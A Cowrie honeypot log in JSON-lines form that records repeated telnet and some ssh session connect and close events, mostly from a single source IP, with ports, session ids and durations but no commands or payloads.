{"eventid":"cowrie.session.closed","duration":31.426263093948364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:03.997943Z","src_ip":"69.6.196.124","session":"e55f505d8a28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56138,"dst_ip":"159.203.135.109","dst_port":23,"session":"4afcdc776788","protocol":"telnet","message":"New connection: 69.6.196.124:56138 (159.203.135.109:23) [session: 4afcdc776788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:04.042975Z"}
{"eventid":"cowrie.session.closed","duration":30.89357900619507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:04.307218Z","src_ip":"69.6.196.124","session":"1a8c3fe0c33d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56130,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2dc3b6670cb","protocol":"telnet","message":"New connection: 69.6.196.124:56130 (159.203.135.109:23) [session: a2dc3b6670cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:04.426698Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56164,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce1a2613d5a8","protocol":"telnet","message":"New connection: 69.6.196.124:56164 (159.203.135.109:23) [session: ce1a2613d5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:04.906560Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56100,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bb52cf60b92","protocol":"telnet","message":"New connection: 69.6.196.124:56100 (159.203.135.109:23) [session: 5bb52cf60b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:05.034173Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56194,"dst_ip":"159.203.135.109","dst_port":23,"session":"62208842099f","protocol":"telnet","message":"New connection: 69.6.196.124:56194 (159.203.135.109:23) [session: 62208842099f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:05.052289Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:05.081524Z","src_ip":"193.24.211.95","session":"4ffad566014c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56184,"dst_ip":"159.203.135.109","dst_port":23,"session":"242b6ad56774","protocol":"telnet","message":"New connection: 69.6.196.124:56184 (159.203.135.109:23) [session: 242b6ad56774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:05.260030Z"}
{"eventid":"cowrie.session.closed","duration":30.97650718688965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:05.290242Z","src_ip":"69.6.196.124","session":"623152eff2aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56222,"dst_ip":"159.203.135.109","dst_port":23,"session":"24e086398102","protocol":"telnet","message":"New connection: 69.6.196.124:56222 (159.203.135.109:23) [session: 24e086398102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:05.660932Z"}
{"eventid":"cowrie.session.closed","duration":31.464226961135864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:05.959409Z","src_ip":"69.6.196.124","session":"9bdf9b48ba55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56226,"dst_ip":"159.203.135.109","dst_port":23,"session":"021039826cd8","protocol":"telnet","message":"New connection: 69.6.196.124:56226 (159.203.135.109:23) [session: 021039826cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:06.476575Z"}
{"eventid":"cowrie.session.closed","duration":30.435073375701904,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:06.483155Z","src_ip":"69.6.196.124","session":"90d465d82061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73075771331787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:06.994440Z","src_ip":"69.6.196.124","session":"423e104305c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56238,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdc5147b3c2d","protocol":"telnet","message":"New connection: 69.6.196.124:56238 (159.203.135.109:23) [session: fdc5147b3c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:07.430755Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56252,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ed16f5d0cdd","protocol":"telnet","message":"New connection: 69.6.196.124:56252 (159.203.135.109:23) [session: 5ed16f5d0cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:07.692675Z"}
{"eventid":"cowrie.session.closed","duration":35.36703419685364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:07.872395Z","src_ip":"69.6.196.124","session":"70ac1497e67e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.792649507522583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:08.067422Z","src_ip":"69.6.196.124","session":"5cc94bb15873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56094741821289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:08.112628Z","src_ip":"69.6.196.124","session":"f189f2675174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61099123954773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:08.298709Z","src_ip":"69.6.196.124","session":"87c0ae1bfc34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93396520614624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:08.306490Z","src_ip":"69.6.196.124","session":"7042e9ee413b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87040615081787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:08.442737Z","src_ip":"69.6.196.124","session":"6fdd624bd903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.944694995880127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:08.600402Z","src_ip":"69.6.196.124","session":"70ff6258812a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26006579399109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:08.771814Z","src_ip":"69.6.196.124","session":"2bc4ac132563","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.686280965805054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.140666Z","src_ip":"69.6.196.124","session":"ac98b03a5c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56286,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a6565bfeaa","protocol":"telnet","message":"New connection: 69.6.196.124:56286 (159.203.135.109:23) [session: 26a6565bfeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.364997Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56290,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f2a9507e888","protocol":"telnet","message":"New connection: 69.6.196.124:56290 (159.203.135.109:23) [session: 1f2a9507e888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.440223Z"}
{"eventid":"cowrie.session.closed","duration":30.403290033340454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.445073Z","src_ip":"69.6.196.124","session":"1191e7f82180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56208,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ae7bb61744","protocol":"telnet","message":"New connection: 69.6.196.124:56208 (159.203.135.109:23) [session: 97ae7bb61744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.546388Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56308,"dst_ip":"159.203.135.109","dst_port":23,"session":"3908b38ff565","protocol":"telnet","message":"New connection: 69.6.196.124:56308 (159.203.135.109:23) [session: 3908b38ff565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.607758Z"}
{"eventid":"cowrie.session.closed","duration":30.58835005760193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.734298Z","src_ip":"69.6.196.124","session":"e470bdf8d072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56230,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dabd3ce05b4","protocol":"telnet","message":"New connection: 69.6.196.124:56230 (159.203.135.109:23) [session: 6dabd3ce05b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.834399Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56266,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da9bf4a6ddf","protocol":"telnet","message":"New connection: 69.6.196.124:56266 (159.203.135.109:23) [session: 5da9bf4a6ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.867429Z"}
{"eventid":"cowrie.session.closed","duration":32.6965434551239,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:09.921793Z","src_ip":"69.6.196.124","session":"af2011b42e04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56282,"dst_ip":"159.203.135.109","dst_port":23,"session":"cafdaf56a9ad","protocol":"telnet","message":"New connection: 69.6.196.124:56282 (159.203.135.109:23) [session: cafdaf56a9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:10.058820Z"}
{"eventid":"cowrie.session.closed","duration":30.26021099090576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:10.292067Z","src_ip":"69.6.196.124","session":"23ace822d9b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56232,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a2823b727e0","protocol":"telnet","message":"New connection: 69.6.196.124:56232 (159.203.135.109:23) [session: 9a2823b727e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:10.313999Z"}
{"eventid":"cowrie.session.closed","duration":31.14849090576172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:10.423369Z","src_ip":"69.6.196.124","session":"ec3ab98a4533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.408989191055298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:10.432467Z","src_ip":"69.6.196.124","session":"1d413a5034d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56300,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a483f7c20f","protocol":"telnet","message":"New connection: 69.6.196.124:56300 (159.203.135.109:23) [session: 90a483f7c20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:10.506769Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":56304,"dst_ip":"159.203.135.109","dst_port":23,"session":"248c40fe0a8a","protocol":"telnet","message":"New connection: 69.6.196.124:56304 (159.203.135.109:23) [session: 248c40fe0a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:10.601746Z"}
{"eventid":"cowrie.session.closed","duration":31.35642719268799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:11.108999Z","src_ip":"69.6.196.124","session":"52101498702c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.442795515060425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:11.270826Z","src_ip":"69.6.196.124","session":"75ace0949c81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36814,"dst_ip":"159.203.135.109","dst_port":23,"session":"d46bb22eaa1a","protocol":"telnet","message":"New connection: 69.6.196.124:36814 (159.203.135.109:23) [session: d46bb22eaa1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:11.404231Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36796,"dst_ip":"159.203.135.109","dst_port":23,"session":"85fe8de469f8","protocol":"telnet","message":"New connection: 69.6.196.124:36796 (159.203.135.109:23) [session: 85fe8de469f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:11.465681Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36828,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ddffbb0509e","protocol":"telnet","message":"New connection: 69.6.196.124:36828 (159.203.135.109:23) [session: 7ddffbb0509e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:11.880971Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36842,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed25f7e5bb8f","protocol":"telnet","message":"New connection: 69.6.196.124:36842 (159.203.135.109:23) [session: ed25f7e5bb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:11.948370Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":44956,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d3834e3a12a","protocol":"telnet","message":"New connection: 185.53.58.141:44956 (10.17.0.5:23) [session: 3d3834e3a12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:11.978457Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36856,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c154013aba7","protocol":"telnet","message":"New connection: 69.6.196.124:36856 (159.203.135.109:23) [session: 2c154013aba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:11.998809Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36808,"dst_ip":"159.203.135.109","dst_port":23,"session":"e39b0f6423d0","protocol":"telnet","message":"New connection: 69.6.196.124:36808 (159.203.135.109:23) [session: e39b0f6423d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.022951Z"}
{"eventid":"cowrie.session.closed","duration":31.509124279022217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.045949Z","src_ip":"69.6.196.124","session":"603dc3fc2be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36862,"dst_ip":"159.203.135.109","dst_port":23,"session":"8eb5ebda7ee9","protocol":"telnet","message":"New connection: 69.6.196.124:36862 (159.203.135.109:23) [session: 8eb5ebda7ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.157155Z"}
{"eventid":"cowrie.session.closed","duration":30.307145595550537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.350728Z","src_ip":"69.6.196.124","session":"a0030f715f88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.334911823272705,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.416735Z","src_ip":"69.6.196.124","session":"7eeaed586fa2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36868,"dst_ip":"159.203.135.109","dst_port":23,"session":"79f3ec7a1729","protocol":"telnet","message":"New connection: 69.6.196.124:36868 (159.203.135.109:23) [session: 79f3ec7a1729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.513603Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36874,"dst_ip":"159.203.135.109","dst_port":23,"session":"047bfc0034ed","protocol":"telnet","message":"New connection: 69.6.196.124:36874 (159.203.135.109:23) [session: 047bfc0034ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.636889Z"}
{"eventid":"cowrie.session.closed","duration":30.520482540130615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.683021Z","src_ip":"69.6.196.124","session":"2eaca691444a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36882,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d3fb56f3216","protocol":"telnet","message":"New connection: 69.6.196.124:36882 (159.203.135.109:23) [session: 1d3fb56f3216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.715699Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36892,"dst_ip":"159.203.135.109","dst_port":23,"session":"767237c8a174","protocol":"telnet","message":"New connection: 69.6.196.124:36892 (159.203.135.109:23) [session: 767237c8a174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.814944Z"}
{"eventid":"cowrie.session.closed","duration":32.26533246040344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.831837Z","src_ip":"185.53.58.141","session":"10d86687bf22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36900,"dst_ip":"159.203.135.109","dst_port":23,"session":"5510b79fec03","protocol":"telnet","message":"New connection: 69.6.196.124:36900 (159.203.135.109:23) [session: 5510b79fec03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:12.991026Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36912,"dst_ip":"159.203.135.109","dst_port":23,"session":"32ca1669ae2e","protocol":"telnet","message":"New connection: 69.6.196.124:36912 (159.203.135.109:23) [session: 32ca1669ae2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:13.052852Z"}
{"eventid":"cowrie.session.closed","duration":31.151546001434326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:13.145447Z","src_ip":"69.6.196.124","session":"47b36e86dba9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36924,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c6f17bc0ca1","protocol":"telnet","message":"New connection: 69.6.196.124:36924 (159.203.135.109:23) [session: 1c6f17bc0ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:13.189013Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36940,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c8fd85fbc49","protocol":"telnet","message":"New connection: 69.6.196.124:36940 (159.203.135.109:23) [session: 1c8fd85fbc49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:13.733154Z"}
{"eventid":"cowrie.session.closed","duration":30.443100929260254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:14.272491Z","src_ip":"69.6.196.124","session":"a5804b0f86aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955498218536377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:14.369432Z","src_ip":"69.6.196.124","session":"8ee22703b0ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36956,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea5d2a658673","protocol":"telnet","message":"New connection: 69.6.196.124:36956 (159.203.135.109:23) [session: ea5d2a658673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:14.412695Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36962,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb8fbd097662","protocol":"telnet","message":"New connection: 69.6.196.124:36962 (159.203.135.109:23) [session: bb8fbd097662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:14.813045Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36970,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fe700ca1cf1","protocol":"telnet","message":"New connection: 69.6.196.124:36970 (159.203.135.109:23) [session: 8fe700ca1cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:14.950161Z"}
{"eventid":"cowrie.session.closed","duration":30.83860754966736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:15.300713Z","src_ip":"69.6.196.124","session":"1222638fb48e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.920252084732056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:15.411479Z","src_ip":"69.6.196.124","session":"410cd156dee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36978,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b06774c79f","protocol":"telnet","message":"New connection: 69.6.196.124:36978 (159.203.135.109:23) [session: 26b06774c79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:15.457517Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36988,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa6ce5865b8c","protocol":"telnet","message":"New connection: 69.6.196.124:36988 (159.203.135.109:23) [session: aa6ce5865b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:15.608822Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36994,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf405d2512f9","protocol":"telnet","message":"New connection: 69.6.196.124:36994 (159.203.135.109:23) [session: cf405d2512f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:15.686365Z"}
{"eventid":"cowrie.session.closed","duration":31.694995403289795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:15.891565Z","src_ip":"69.6.196.124","session":"c84093870ca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37010,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfdb19579e26","protocol":"telnet","message":"New connection: 69.6.196.124:37010 (159.203.135.109:23) [session: bfdb19579e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:15.938048Z"}
{"eventid":"cowrie.session.closed","duration":30.82682466506958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:16.372824Z","src_ip":"69.6.196.124","session":"30a31eaf773b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":37020,"dst_ip":"159.203.135.109","dst_port":23,"session":"21a496f210ba","protocol":"telnet","message":"New connection: 69.6.196.124:37020 (159.203.135.109:23) [session: 21a496f210ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:16.808729Z"}
